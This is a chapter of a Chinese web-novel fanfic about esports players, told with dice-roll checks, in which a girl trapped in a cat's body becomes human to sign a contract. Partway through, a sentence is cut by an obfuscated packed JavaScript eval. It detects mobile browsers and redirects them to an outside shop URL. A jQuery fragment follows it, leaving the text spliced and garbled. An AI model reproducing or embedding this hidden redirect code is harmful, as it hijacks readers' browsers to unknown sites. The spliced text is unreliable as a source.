文趣网 > 都市小说 > [全职安科]折耳猫能有什么坏心思 > 8. 压力爆表后变人
    第六赛季推进到了后半段。

    百花的常规赛排名稳定在联盟前列,张佳乐的状态依然在线。但在「训练室」频道里,有人开始注意到一些微妙的变化。

    凌玲的状态在往下走。

    不是技术上的下滑——她的操作依然精准,连招依然流畅。但她的反应慢了一点点。不是0.5秒那种,是0.1秒、0.2秒,小到只有常年盯着她操作的人才能察觉。

    张佳乐感觉到了。

    唐昊也感觉到了。

    有一天训练结束后,唐昊在私聊里给张佳乐发了一条消息:

    “凌玲最近不太对。”

    张佳乐回:“嗯。”

    “你知道怎么回事?”

    “不知道。”

    唐昊盯着那两个字看了一会儿,没有再问。但他把这句话记在了心里——张佳乐说“不知道”的时候,语气和平时不一样。不是敷衍,是“我也在担心”。

    骰娘A:“检定凌玲第八周的状态。1D100,越高越好。”

    出目:62

    “62,明显的下滑。她还在撑,但已经不是之前那个状态了。”

    “张佳乐注意到了吗?”

    “他比她以为的更早注意到。”

    “唐昊呢?”

    “他说‘凌玲最近不太对’的时候,用的是陈述句。不是‘她是不是不太对’,是‘她不太对’——他已经确定了,只是想知道原因。”

    ——

    那条消息是在一个周四的下午发来的。

    凌玲正在登录空间里复盘昨夜的训练录像,QQ弹出了一条新消息提醒。她点开,是许思绝。

    不是问候。不是试探。是一份正式通知。

    “凌玲,第七赛季青训转正签约的最终截止日期为【第七赛季开赛前一个月】。届时需本人携带身份证件到百花基地完成线下签约。若无法到场,名单将作替补调整。请确认是否能够到场。”

    下面附了一行小字:

    “如有特殊情况,请提前说明。俱乐部会酌情处理。”

    那行小字看起来像是留了余地,但凌玲知道——“酌情处理”的意思是“你要给我一个说得过去的理由,不然我就换人”。

    她盯着那封通知看了很久。

    她没有回复。因为不知道该回复什么。

    “能来。”——她不能。

    “不能来。”——她不想。

    她关了对话框,回到训练录像的页面,但一个字都看不进去了。

    骰娘A:“检定凌玲收到通知后的状态。1D100,越高越冷静。”

    出目:39

    “39,很低。她没法冷静了。”

    “那她的疲惫值呢?”

    出目:86(之前81)

    “86,又涨了。离极限越来越近。”

    “她会跟谁说吗?”

    “她想说。但她不知道该跟谁说。张佳乐?说了之后他会怎么看她。唐昊?他那么凶,万一知道了——”

    “那她什么都没说。”

    “对。她只是把通知关掉,然后继续看录像。但她的手指在发抖。”

    ——

    当天晚上的训练,凌玲迟到了四分钟。

    不是故意的。是她坐在登录空间里,盯着许思绝那封通知,忘了时间。等她反应过来的时候,频道里三个人都已经在了。

    她进了频道,说了一句“抱歉,来晚了”。

    张佳乐:“嗯。”

    唐昊:“……你今天迟到了。”

    凌玲:“有点事。”

    唐昊没再问。但他注意到了——她的声音比平时更轻,像是说话的时候在走神。

    训练开始。

    打了三场,输了两场。不是大崩盘,但凌玲的走位明显犹豫了。唐昊在第三场结束之后说了一句:“你今天怎么回事?”

    凌玲:“……没睡好。”

    唐昊没有拆穿她。但他知道那不是没睡好。他看过她状态不好的时候——手抖、连招慢、反应延迟。但今天是另一种。今天她像是心神不宁。

    张佳乐在观战位全程没有说话。直到训练结束,他才开口:“凌玲,你留一下。”

    邹远退了。

    频道里只剩下三个人,但没有人在意到唐昊。

    张佳乐:“你今天不在状态。”

    “……嗯。”

    “发生什么事了?”

    凌玲沉默了很久。

    她想说。真的想说。但她不知道怎么说——说“许思绝让我去基地但我去不了”之后,张佳乐一定会问“你为什么来不了”,然后她又要编织一个谎言。她不想再编了。

    “……没什么。就是有点累。”

    张佳乐那边没有声音。

    过了几秒,他说:“如果你不想说,可以不现在说。但如果你一直不说,问题不会自己消失。”

    然后他退了。

    凌玲坐在登录空间里,蜷起膝盖,把脸埋进手臂里。

    骰娘A:“检定凌玲此时的状态。1D100,越高越接近崩溃。”

    出目:90

    “90。她已经在边缘了。”

    ——

    唐昊没有听话退出YY,只是把麦关了。他本来想看看凌玲和张佳乐会不会说什么,但张佳乐说“你留一下”的时候他就闭了麦,然后等着。

    他听到了凌玲说“没什么”,听到了张佳乐说“如果你一直不说,问题不会自己消失”。

    然后他听到了凌玲那边传来很轻的呼吸声——像是有人在忍住不说话。

    唐昊把麦关掉之后,坐在电脑前面,没有动。

    他在想一件事:凌玲到底怎么了?

    他回忆起过去几周她的状态:从“进步很快”到“勉强支撑”再到今天这个“说不出来但谁都看得出有事”的样子。她的操作还在,但她的心已经不在了。

    他不知道她在隐瞒什么。但他知道她在隐瞒。

    唐昊关掉电脑之前,做了一个决定——明天训练开始之前,他要单独问她。

    不管她说不说,他要问。

    骰娘A:“检定唐昊此时的心情。1D100,越高越在意。”

    出目:84

    “84。他已经没办法用‘队友’来解释自己的在意了。”

    “他知道吗?”

    “不知道。但他明天会做一件‘队友’不会做的事。”

    ——

    第二天,凌玲登录频道的时候,发现唐昊已经在了。

    她还没开口,唐昊就说了:“你今天正常打。输了不怪你。”

    凌玲愣了一下:“……什么?”

    “我说,你今天正常打。输了不怪我。”他顿了一下,“也不怪你。”

    凌玲没有说话。她打开房间,开始了训练。

    那天她打得不差。没有昨天的恍惚,没有走神。她像是在唐昊那句话之后把那些杂念暂时关掉了。但唐昊注意到了——她依然没有解释昨晚的事。

    训练结束后,凌玲准备退。唐昊叫住了她:“凌玲。”

    “……嗯?”

    “你的病,”他说,“真的是病吗?”

    频道里安静了两秒。凌玲没有回答。

    唐昊也没有追问。他只说了一句:“你如果不想说,可以不说。但如果哪天你想说了……我听着。”

    然后他退了。

    凌玲坐在登录空间里,盯着那个“我听着”三个字,看了很久。

    骰娘A:“检定凌玲听完唐昊这句话后的状态。1D100,越高越被触动。”

    出目:88

    “88。她差点就说了。但她还是忍住了。”

    “为什么?”

    “因为她还没有准备好。她怕说了之后,唐昊就不会再对她这样了。”

    ——

    张佳乐在第二天晚上单独给凌玲发了一条消息。

    是企鹅的私聊。很短:

    “凌玲,你有一个月时间。如果你需要帮助,一定要告诉我。”

    凌玲盯着那条消息看了很久。她不知道张佳乐知

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680474|207666||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道了多少——也许他猜到了什么,也许他只是单纯地察觉到了她的异常。

    她回复:“……好。”

    然后她关了对话框。

    那天晚上她坐在登录空间里,把张佳乐那句“告诉我”和唐昊那句“我听着”放在一起,听了好几遍。两个声音,一个来自她最在意的人,一个来自她没想到会在意她的人。

    她忽然觉得,自己不能再这么撑下去了。

    骰娘A:“检定凌玲的决心值。1D100,越高越准备行动。”

    出目:76

    “76,她开始做心理准备了。但还需要一个最后一推。”

    “倒计时呢?”

    骰娘B看了一眼骰子的阴影。数字变成了5。

    “已经到5了。”

    ——

    那天深夜,林医生的电脑忽然蓝屏了。

    不是普通的蓝屏。是那种硬盘报错的、系统崩溃的、无法重启的蓝屏。屏幕上跳出一行白色的代码,然后一切黑了下去。

    凌玲的意识被踢了出来。她发现自己回到了猫的身体里,趴在机箱旁边,电脑的风扇声停了。

    她试着重新进入——进不去。电脑彻底关机了。

    她趴在机箱上,把爪子按在冰凉的金属外壳上。没有光。没有声音。没有登录空间。

    这是她第一次被“困”在猫的身体里,什么都做不了。她知道林医生明天会修电脑,但今天晚上,她什么都做不了。

    她忽然觉得很冷。不是因为天气——是因为她意识到,如果有一天这台电脑彻底坏了,她就会永远被困在这只猫的身体里。她再也见不到张佳乐,见不到唐昊,见不到任何人。

    她在黑暗中蜷缩起来,把自己团成一个白色的毛球。

    骰娘A:“检定凌玲此时的崩溃值。1D100,越高越接近极限。”

    出目:95

    “95。就差最后一下了。”

    “倒计时呢?”

    “归零了。”

    骰娘B伸出手,握住了那颗二十面的骰子。

    “那我在这个时候掷吧。”

    她松开了手。骰子在虚空中旋转、翻滚,像一颗被抛向天际的流星。

    “叮。”

    出目:20

    绝杀。

    骰娘A和B同时沉默了。

    然后骰娘B说:“世界线修正。”

    ——

    凌玲睁开眼睛。

    她发现自己躺在一张床上。不是林医生的家。是一个陌生的房间,不大,有一扇窗户。窗帘是白色的,窗外是灰蒙蒙的城市。她看到了远处的地标建筑——她在B市。

    她低头看自己的身体。

    人类的身体。白色中长发散在枕头上,细长眼,左眼角泪痣。手指——十根,左手的灵活度比右手高。和她在登录空间里一模一样。

    她摸了摸自己的脸。有温度。有触感。

    她坐起来,看到床头柜上放着一部手机、一张身份证、一叠现金、几张银行卡,还有一张纸条。

    纸条上只有一行字,字体像是打印出来的:

    “你许的愿,我帮你实现了。身份证是真的,地址是B市XX区XX路XX号。钱够你用一段时间。手机里有许思绝的联系方式。明天给他打电话,说你现在在B市,问他能不能报销路费去K市签约。”

    纸条的背面还有一行小字:

    “你的猫身还在林医生那里,放心,还会好好活着。你跟她两不相欠。”

    凌玲握着那张纸条,看了很久。

    然后她把纸条折好,放进衣兜里。

    她拿起手机,打开通讯录,找到了“许思绝”的名字。

    她没有立刻打电话。她先打开企鹅,找到了「百花缭乱」的头像——那朵粉色小花。

    她发了一条消息:

    “乐乐哥,我好了。我可以来基地了。”

    然后她放下手机,走到窗边,看着B市灰蒙蒙的早晨。

    她在想:唐昊说的那个鹌鹑红烧肉,是什么味道的?